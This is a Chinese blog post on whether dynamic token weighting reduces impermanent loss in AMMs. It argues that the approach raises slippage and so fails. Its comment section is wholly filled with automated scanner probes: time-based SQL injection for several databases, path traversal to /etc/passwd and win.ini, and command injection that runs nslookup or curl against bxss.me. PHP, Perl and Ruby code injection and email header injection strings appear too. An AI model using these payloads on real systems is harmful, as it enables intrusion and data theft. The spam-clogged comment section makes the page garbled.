增大滑点能降低AMM的无常损失吗?

无常损失已经成去中心化交易所重要的问题之一,许多项目为此提出了不同的解决方案,最近我看到一个项目通过耦合uniswap和balancer两个AMM去解决无常损失的问题,实际上就是通过动态调整代币权重的方式来降低无常损失,这个想法似乎bancor在发布V2版本时也提出过,然而他们最终并没有选择该技术路线而选择了通胀代币的无常损失保护方案,其实原因很简单,动态调整权重虽然能够降低无常损失,然而它却增大了交易滑点,阻碍了市场活跃性,这可以从他们白皮书上的数据看出来,采用动态权重的sync-AMM与uniswap相比,同样的条件下最大滑点从1.5%增大到了4.5%,几乎提高了3倍,这种交易成本的提升对于交易者来说是致命的,虽然他们的回测数据显示LP收益也提高了,然而测试数据并没有考虑交易者的交易成本问题,多数的交易者并不会选择它,除非在套利时有利可图,然而仅仅靠套利的推动,成交将变得非常不活跃,那么LP手续费的收益也会大幅度降低,因此通过动态权重来降低无常损失的方法并不是一种有效的解决方案。

image.png

image.png


  admin   2022-6-5

qeNtfPNC2023-8-24 5:53:02
pHWUX63R
qeNtfPNC2023-8-24 5:53:03
-1 OR 2+890-890-1=0+0+0+1
qeNtfPNC2023-8-24 5:53:04
-1 OR 3+890-890-1=0+0+0+1
qeNtfPNC2023-8-24 5:53:04
-1 OR 3*2<(0+5+890-890)
qeNtfPNC2023-8-24 5:53:04
-1 OR 3*2>(0+5+890-890)
qeNtfPNC2023-8-24 5:53:13
if(now()=sysdate(),sleep(15),0)
qeNtfPNC2023-8-24 5:53:22
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
qeNtfPNC2023-8-24 5:53:31
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
qeNtfPNC2023-8-24 5:53:40
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
qeNtfPNC2023-8-24 5:53:49
-1; waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:53:59
-1); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:08
-1)); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:17
1 waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:26
r2kgzfbz'; waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:35
3KaO5pwz'); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:44
KQrWATbt')); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:54
-5 OR 831=(SELECT 831 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:03
-5) OR 653=(SELECT 653 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:13
-1)) OR 656=(SELECT 656 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:22
sdp2X26L' OR 289=(SELECT 289 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:31
TFgkEAZ3') OR 386=(SELECT 386 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:41
NmIQT0b6')) OR 704=(SELECT 704 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:49
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
qeNtfPNC2023-8-24 5:55:58
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
qeNtfPNC2023-8-24 5:55:59
1'"
qeNtfPNC2023-8-24 5:55:59
1����%2527%2522
qeNtfPNC2023-8-24 5:56:00
@@MkK6M
jJQaBOcg2023-9-23 3:22:02
response.write(9042547*9298730)
jJQaBOcg2023-9-23 3:22:03
'+response.write(9042547*9298730)+'
jJQaBOcg2023-9-23 3:22:04
/../../../../../../../../../../windows/system32/BITSADMIN.exe
jJQaBOcg2023-9-23 3:22:05
"+response.write(9042547*9298730)+"
jJQaBOcg2023-9-23 3:22:07
bcc:009247.40289-43288.40289.5ed75.19622.2@bxss.me
jJQaBOcg2023-9-23 3:22:07
to@example.com> bcc:009247.40289-43289.40289.5ed75.19622.2@bxss.me
jJQaBOcg2023-9-23 3:22:09
../../../../../../../../../../../../../../etc/passwd
jJQaBOcg2023-9-23 3:22:09
../../../../../../../../../../../../../../windows/win.ini
jJQaBOcg2023-9-23 3:22:10
echo cifbrr$()\ gzosgd\nz^xyu||a #' &echo cifbrr$()\ gzosgd\nz^xyu||a #|" &echo cifbrr$()\ gzosgd\nz^xyu||a #
jJQaBOcg2023-9-23 3:22:10
file:///etc/passwd
jJQaBOcg2023-9-23 3:22:10
&echo udpniw$()\ mhzscl\nz^xyu||a #' &echo udpniw$()\ mhzscl\nz^xyu||a #|" &echo udpniw$()\ mhzscl\nz^xyu||a #
jJQaBOcg2023-9-23 3:22:11
12345'"\'\");|]*{ <>�''
jJQaBOcg2023-9-23 3:22:11
../
jJQaBOcg2023-9-23 3:22:11
|echo cxkgms$()\ ozlakw\nz^xyu||a #' |echo cxkgms$()\ ozlakw\nz^xyu||a #|" |echo cxkgms$()\ ozlakw\nz^xyu||a #
jJQaBOcg2023-9-23 3:22:12
(nslookup -q=cname hitdvoucxcsaj394da.bxss.me||curl hitdvoucxcsaj394da.bxss.me))
jJQaBOcg2023-9-23 3:22:12
$(nslookup -q=cname hitfnjsgjasbs426f8.bxss.me||curl hitfnjsgjasbs426f8.bxss.me)
jJQaBOcg2023-9-23 3:22:13
&nslookup -q=cname hitlyjajarsvdd25e7.bxss.me&'\"`0&nslookup -q=cname hitlyjajarsvdd25e7.bxss.me&`'
jJQaBOcg2023-9-23 3:22:14
&(nslookup -q=cname hithfadnjgwio61b2d.bxss.me||curl hithfadnjgwio61b2d.bxss.me)&'\"`0&(nslookup -q=cname hithfadnjgwio61b2d.bxss.me||curl hithfadnjgwio61b2d.bxss.me)&`'
jJQaBOcg2023-9-23 3:22:14
|(nslookup -q=cname hitljrufmhpyw6367e.bxss.me||curl hitljrufmhpyw6367e.bxss.me)
jJQaBOcg2023-9-23 3:22:15
!(()&&!|*|*|
jJQaBOcg2023-9-23 3:22:15
`(nslookup -q=cname hitykoruzgfdqa1133.bxss.me||curl hitykoruzgfdqa1133.bxss.me)`
jJQaBOcg2023-9-23 3:22:16
^(#$!@#$)(()))******
jJQaBOcg2023-9-23 3:22:16
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
jJQaBOcg2023-9-23 3:22:17
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
jJQaBOcg2023-9-23 3:22:18
Http://bxss.me/t/fit.txt
jJQaBOcg2023-9-23 3:22:19
http://bxss.me/t/fit.txt?.jpg
jJQaBOcg2023-9-23 3:22:19
'.gethostbyname(lc('hitpr'.'tjqwkrdr3469a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(71).chr(116).chr(90).'
jJQaBOcg2023-9-23 3:22:19
/etc/shells
jJQaBOcg2023-9-23 3:22:20
".gethostbyname(lc("hitoj"."umbzfnle5992d.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(83).chr(110).chr(83)."
jJQaBOcg2023-9-23 3:22:21
c:/windows/win.ini
jJQaBOcg2023-9-23 3:22:21
bxss.me
jJQaBOcg2023-9-23 3:22:23
"+"A".concat(70-3).concat(22*4).concat(116).concat(89).concat(109).concat(81)+(require"socket" Socket.gethostbyname("hitxd"+"eppgwpwsde2d2.bxss.me.")[3].to_s)+"
jJQaBOcg2023-9-23 3:22:24
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
jJQaBOcg2023-9-23 3:22:24
'+'A'.concat(70-3).concat(22*4).concat(112).concat(68).concat(97).concat(80)+(require'socket' Socket.gethostbyname('hitrm'+'jojsiklm8bcdf.bxss.me.')[3].to_s)+'
jJQaBOcg2023-9-23 3:22:25
'"()
jJQaBOcg2023-9-23 3:22:25
';print(md5(31337));$a='
jJQaBOcg2023-9-23 3:22:25
'&&sleep(27*1000)*bycqzp&&'
jJQaBOcg2023-9-23 3:22:25
";print(md5(31337));$a="
jJQaBOcg2023-9-23 3:22:26
"&&sleep(27*1000)*akqeww&&"
jJQaBOcg2023-9-23 3:22:27
'||sleep(27*1000)*ofckcp||'
jJQaBOcg2023-9-23 3:22:28
"||sleep(27*1000)*aikjgp||"
jJQaBOcg2023-9-23 3:22:28
294
jJQaBOcg2023-9-23 3:22:28
${@print(md5(31337))}
jJQaBOcg2023-9-23 3:22:29
294
jJQaBOcg2023-9-23 3:22:29
${@print(md5(31337))}\
jJQaBOcg2023-9-23 3:22:30
294/.
jJQaBOcg2023-9-23 3:22:30
'.print(md5(31337)).'
jJQaBOcg2023-9-23 3:30:34
aD30laJy
jJQaBOcg2023-9-23 3:30:40
-1 OR 2+839-839-1=0+0+0+1
jJQaBOcg2023-9-23 3:30:42
-1 OR 3+839-839-1=0+0+0+1
jJQaBOcg2023-9-23 3:30:44
-1 OR 3*2<(0+5+839-839)
jJQaBOcg2023-9-23 3:30:45
-1 OR 3*2>(0+5+839-839)
jJQaBOcg2023-9-23 3:31:14
if(now()=sysdate(),sleep(15),0)
jJQaBOcg2023-9-23 3:31:52
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
jJQaBOcg2023-9-23 3:32:18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
jJQaBOcg2023-9-23 3:32:49
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
jJQaBOcg2023-9-23 3:33:14
-1; waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:33:50
-1); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:34:24
-1)); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:35:03
1 waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:35:32
PttsbIBH'; waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:36:08
kgnhd6te'); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:36:40
Fjl3PPKn')); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:37:16
-5 OR 288=(SELECT 288 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:37:47
-5) OR 822=(SELECT 822 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:38:28
-1)) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:39:11
bExa1Ty5' OR 822=(SELECT 822 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:39:52
teImKCIW') OR 510=(SELECT 510 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:40:25
Ht74N345')) OR 561=(SELECT 561 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:40:58
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
jJQaBOcg2023-9-23 3:41:32
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
jJQaBOcg2023-9-23 3:41:33
1'"
jJQaBOcg2023-9-23 3:41:34
1����%2527%2522
jJQaBOcg2023-9-23 3:41:35
@@eNB9e
Remark: